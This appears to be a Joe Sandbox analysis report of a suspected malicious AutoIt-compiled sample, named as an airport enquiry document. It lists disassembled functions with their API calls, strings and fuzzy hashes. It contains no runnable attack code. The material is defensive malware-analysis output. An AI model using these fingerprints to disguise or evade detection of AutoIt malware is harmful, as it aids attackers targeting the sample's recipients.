Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 31880189216128de3880e6ec9597181485b5ba84009f1f107576e9d8a819ff65
Instruction ID: 9ef0e414f6f959b3c2910bcb7393d58f8e9aa68d5dceba5eb807094c26cc05c1
Opcode Fuzzy Hash: 31880189216128de3880e6ec9597181485b5ba84009f1f107576e9d8a819ff65
Instruction Fuzzy Hash: 437169754083019FC314EF65EC819ABBBE8BF56744F50092EF455C32A0EBB09948DBAA

Function 00C83A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C83A62
LoadCursorW.USER32(00000000,00007F00), ref: 00C83A71
LoadIconW.USER32(00000063), ref: 00C83A88
LoadIconW.USER32(000000A4), ref: 00C83A9A
LoadIconW.USER32(000000A2), ref: 00C83AAC
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00C83AD2
RegisterClassExW.USER32(?), ref: 00C83B28

Part of subcall function 00C83041: GetSysColorBrush.USER32(0000000F), ref: 00C83074
Part of subcall function 00C83041: RegisterClassExW.USER32(00000030), ref: 00C8309E
Part of subcall function 00C83041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C830AF
Part of subcall function 00C83041: InitCommonControlsEx.COMCTL32(?), ref: 00C830CC
Part of subcall function 00C83041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C830DC
Part of subcall function 00C83041: LoadIconW.USER32(000000A9), ref: 00C830F2
Part of subcall function 00C83041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C83101

Strings

#, xrefs: 00C83B0D
AutoIt v3, xrefs: 00C83B17
0, xrefs: 00C83B06

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 180d45b57b28c2fd1a96b38fe26e702ac17e3ae91e170880ca9e6f6026ad2393
Instruction ID: 4788c2f7c0341e9e98ca214d4fec01309b3c405d1e6b1c211e3652f66b9f25a2
Opcode Fuzzy Hash: 180d45b57b28c2fd1a96b38fe26e702ac17e3ae91e170880ca9e6f6026ad2393
Instruction Fuzzy Hash: F7213974900304BFEF109FA4EC89B9D7BB4FB0A715F10012AE505E63A0D3B696549FAA

Function 00C83633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00C836D2
KillTimer.USER32(?,00000001), ref: 00C836FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C8371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C8372A
CreatePopupMenu.USER32 ref: 00C8373E
PostQuitMessage.USER32(00000000), ref: 00C8375F

Strings

TaskbarCreated, xrefs: 00C83725

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: c70500484de1ce8adf5a99408dd8edcf7cecac0feac4aaf35925efbe8a5e82c7
Instruction ID: 103564ee875eecdd71443da84ff0f34463ad345f8d8ff86474289d7b5c6078e2
Opcode Fuzzy Hash: c70500484de1ce8adf5a99408dd8edcf7cecac0feac4aaf35925efbe8a5e82c7
Instruction Fuzzy Hash: C041F3B2200285BBDB247F28DD49B7D3754F742B04F141529F913C23A1EAA0DE04977B

Function 00C83778 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00C837C0
/AutoIt3OutputDebug, xrefs: 00C838A4
/AutoIt3ExecuteScript, xrefs: 00C838CE
CMDLINE, xrefs: 00C83834
/ErrorStdOut, xrefs: 00C8388F
CMDLINERAW, xrefs: 00C8380D
/AutoIt3ExecuteLine, xrefs: 00C838B9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 4001897f6674ff1ee9f5c94c2790ce53a217e39bbabfbec51dfde8f2b9991dbd
Instruction ID: d4b28e0cd587a5e6eb77389987085aa4d5cb77e2fb758da5014d3792d06408b6
Opcode Fuzzy Hash: 4001897f6674ff1ee9f5c94c2790ce53a217e39bbabfbec51dfde8f2b9991dbd
Instruction Fuzzy Hash: CAA19F72910269ABCB04FFA0CC91AEEB778FF15708F140429F416A7191EF749A09DB69

Function 00C839E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C83A15
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C83A36
ShowWindow.USER32(00000000,?,?), ref: 00C83A4A
ShowWindow.USER32(00000000,?,?), ref: 00C83A53

Strings

AutoIt v3, xrefs: 00C83A0D, 00C83A12, 00C83A13
edit, xrefs: 00C83A30

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 96d913728490f0c6a7f3fcdbed8c11224be755f354ccb0ac7808b93e1df37f0e
Instruction ID: bc1928245c095f50152c70f84fd4660ed78152b217205cd0181ffeb091dddf81
Opcode Fuzzy Hash: 96d913728490f0c6a7f3fcdbed8c11224be755f354ccb0ac7808b93e1df37f0e
Instruction Fuzzy Hash: EBF017746403907FEA311B276C88F273E7DE7C7F50B10002AB905E22A0C2E54800CAB6

Function 00C8410D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00CBD5EC

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

_memset.LIBCMT ref: 00C8418D
_wcscpy.LIBCMT ref: 00C841E1
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C841F1

Strings

Line: , xrefs: 00CBD615

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 289dd165e4f545b4da3fc72ceccaa595e037f991007b4f66a1c40355588b7f1c
Instruction ID: be0b58663be51cde800028ec19e1f34382164473a451f3b74656541762bfa1a0
Opcode Fuzzy Hash: 289dd165e4f545b4da3fc72ceccaa595e037f991007b4f66a1c40355588b7f1c
Instruction Fuzzy Hash: 3831D2710083156BD725FB60DC85BDF73E8AB46308F20461AB19A921A1EBB4D648D7AB

Function 00CA564D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00CA56AB
_memcpy_s.LIBCMT ref: 00CA571D
__read_nolock.LIBCMT ref: 00CA577B
__filbuf.LIBCMT ref: 00CA579E
_memset.LIBCMT ref: 00CA57E2

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction ID: e92c2fd1dc838075a6f4e442f69c3734d7e46913cb7e56d113cbe7e97a4a53b5
Opcode Fuzzy Hash: cbc132a2d90f1fa170c901e77712e707e3c45fd9b9f6dd10e42efcbbdaed9f46
Instruction Fuzzy Hash: 14519171A10B07DBDB248EA988846AE77B5AF42328F64C629F835E62D0D7709E549B40

Function 00C869CA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C84F3D: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00D462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00C84F6F

_free.LIBCMT ref: 00CBE68C
_free.LIBCMT ref: 00CBE6D3

Part of subcall function 00C86BEC: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00C86D0D

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00CBE462
Bad directive syntax error, xrefs: 00CBE6BB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 802973fd2f229de42bf2fe0a692efa660017fcf7249ed6176e799878d6cc8171
Instruction ID: d6f6b62ad1d0f2b5691ecb94f525cdd9300a09b3c38ae3a2352734b8e30e3098
Opcode Fuzzy Hash: 802973fd2f229de42bf2fe0a692efa660017fcf7249ed6176e799878d6cc8171
Instruction Fuzzy Hash: 40918D71910219AFCF14EFA5CC819EDB7B4FF19718F14442AF816AB291EB30AE05DB64

Function 00C835B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00C835A1,SwapMouseButtons,00000004,?), ref: 00C835D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00C835A1,SwapMouseButtons,00000004,?,?,?,?,00C82754), ref: 00C835F5
RegCloseKey.KERNELBASE(00000000,?,?,00C835A1,SwapMouseButtons,00000004,?,?,?,?,00C82754), ref: 00C83617

Strings

Control Panel\Mouse, xrefs: 00C835D2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 8c62fcabd7485c664e1cd27493e0fd3e1ee10ad4b50c9952f3186e7a542e3444
Instruction ID: 890db2db498e0bacee78fff9c4c8ac67bdb5d32d8a429985a161484934e0f5e1
Opcode Fuzzy Hash: 8c62fcabd7485c664e1cd27493e0fd3e1ee10ad4b50c9952f3186e7a542e3444
Instruction Fuzzy Hash: D1115A71510248BFDB209F68DC40EEEB7B8FF04B44F109469F809D7210E2719F409768

Function 00CE97E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00C85045: _fseek.LIBCMT ref: 00C8505D

Part of subcall function 00CE99BE: _wcscmp.LIBCMT ref: 00CE9AAE
Part of subcall function 00CE99BE: _wcscmp.LIBCMT ref: 00CE9AC1

_free.LIBCMT ref: 00CE992C
_free.LIBCMT ref: 00CE9933
_free.LIBCMT ref: 00CE999E

Part of subcall function 00CA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00CA9C64), ref: 00CA2FA9
Part of subcall function 00CA2F95: GetLastError.KERNEL32(00000000,?,00CA9C64), ref: 00CA2FBB

_free.LIBCMT ref: 00CE99A6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: fd18de759458e21508ccb8b902dfc4ac475c3880c7526805842eb646ad61b447
Instruction ID: 5e5345e2bbdf6fd9360ca3334fd7d9fabc3bf92ecb08c8c73c094b6d7240690d
Opcode Fuzzy Hash: fd18de759458e21508ccb8b902dfc4ac475c3880c7526805842eb646ad61b447
Instruction Fuzzy Hash: C0515DB1904258AFDF249F65CC81A9EBBB9EF48314F1044AEF609A7281DB715E80DF58

Function 00CA493A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA49D0
__flush.LIBCMT ref: 00CA49F0
__write.LIBCMT ref: 00CA4A23
__flsbuf.LIBCMT ref: 00CA4A51

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction ID: d65ed98dbd478796854fd81c24ae378e1a6a84241bdbe598ec534898a1e75e9c
Opcode Fuzzy Hash: 14470a6213cb86a88b8286372661136e60ed3d9327b1e96cf2061ba74b92ecb7
Instruction Fuzzy Hash: 6541D5716007079BDF2CCEB9C8809AF77AAEFC6368B24813DE865C7640D7B09E519B44

Function 00C84531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C84560

Part of subcall function 00C8410D: _memset.LIBCMT ref: 00C8418D
Part of subcall function 00C8410D: _wcscpy.LIBCMT ref: 00C841E1
Part of subcall function 00C8410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C841F1

KillTimer.USER32(?,00000001,?,?), ref: 00C845B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C845C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00CBD6CE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: f549f63d42a494fce7d4f3f1dab63ddf1910bfa8523381888e6f78e0fe0a9a1b
Instruction ID: bb516c27ea6e2bf1f5d1775c8fa3fa36b0e7a52db538ad59d79ddeac1f3ae849
Opcode Fuzzy Hash: f549f63d42a494fce7d4f3f1dab63ddf1910bfa8523381888e6f78e0fe0a9a1b
Instruction Fuzzy Hash: 5821F970904784AFEB329B24DC55BEBBBEC9F01308F04049EE69E96241D7B45B84DB55

Function 00C873E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CBEE62
GetOpenFileNameW.COMDLG32(?), ref: 00CBEEAC

Part of subcall function 00C848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C848A1,?,?,00C837C0,?), ref: 00C848CE

Part of subcall function 00CA09D5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00CA09F4

Strings

X, xrefs: 00CBEE7A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 4e7ed098e6cba11840c26bd49f224b14ef6e46d542b42e2c8a912021ae893910
Instruction ID: 3c6a38bbbfe27b8a75565c7e7db1c73c347137b8095bc6ec898afb80d2fe69e1
Opcode Fuzzy Hash: 4e7ed098e6cba11840c26bd49f224b14ef6e46d542b42e2c8a912021ae893910
Instruction Fuzzy Hash: 7921C670A002989BCB11EF94C845BEEBBF89F49718F10405AE408E7381DBF499499FA5

Function 00CE901B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CE9036
__fread_nolock.LIBCMT ref: 00CE904B

Strings

EA06, xrefs: 00CE907D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: ee3653eb8539f7f8f3cab78838e3d8676243ce99fd6a98a9f3d16ff0da362189
Instruction ID: 8f6b9e24fb01f364b02b251d1f94e9b68c4637ad4f7298e100ae77f3cbad5efa
Opcode Fuzzy Hash: ee3653eb8539f7f8f3cab78838e3d8676243ce99fd6a98a9f3d16ff0da362189
Instruction Fuzzy Hash: F701F9719042586EDB28C7A9C81AEEE7BF8DB05305F00819AF552D2181E579AB089760

Function 00CE9B6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00CE9B82
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00CE9B99

Strings

aut, xrefs: 00CE9B93

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: e9d858fb727333dc156bb98197f414e4312f5fdb8d9bc4b998ad190b0c095e49
Instruction ID: 5333bc204c87b338024b3b14f0ddedd8d56c8edcf2cc9ceda19a80f68641a678
Opcode Fuzzy Hash: e9d858fb727333dc156bb98197f414e4312f5fdb8d9bc4b998ad190b0c095e49
Instruction Fuzzy Hash: 00D05E7A54030DABDB209BA4EC0EF9A772CE704704F0042A1BE98D11A1DEB065988BA5

Function 00CFCDF1 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534bcc266ea24733e09a63af6039681a77f20353e19b3dd7c5d6c626a655e5ed
Instruction ID: 8d1143dbef3b9657489b03656897cd2a271b364935381bc8dfd36fd610cbea8a
Opcode Fuzzy Hash: 534bcc266ea24733e09a63af6039681a77f20353e19b3dd7c5d6c626a655e5ed
Instruction Fuzzy Hash: C0F15A70A083059FC754DF28C480A6ABBE5FF88314F14892EF99A9B351DB31E945CF82

Function 00C8F8CF Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CA03D3
Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(00000010,00000000), ref: 00CA03DB
Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CA03E6
Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CA03F1
Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(00000011,00000000), ref: 00CA03F9
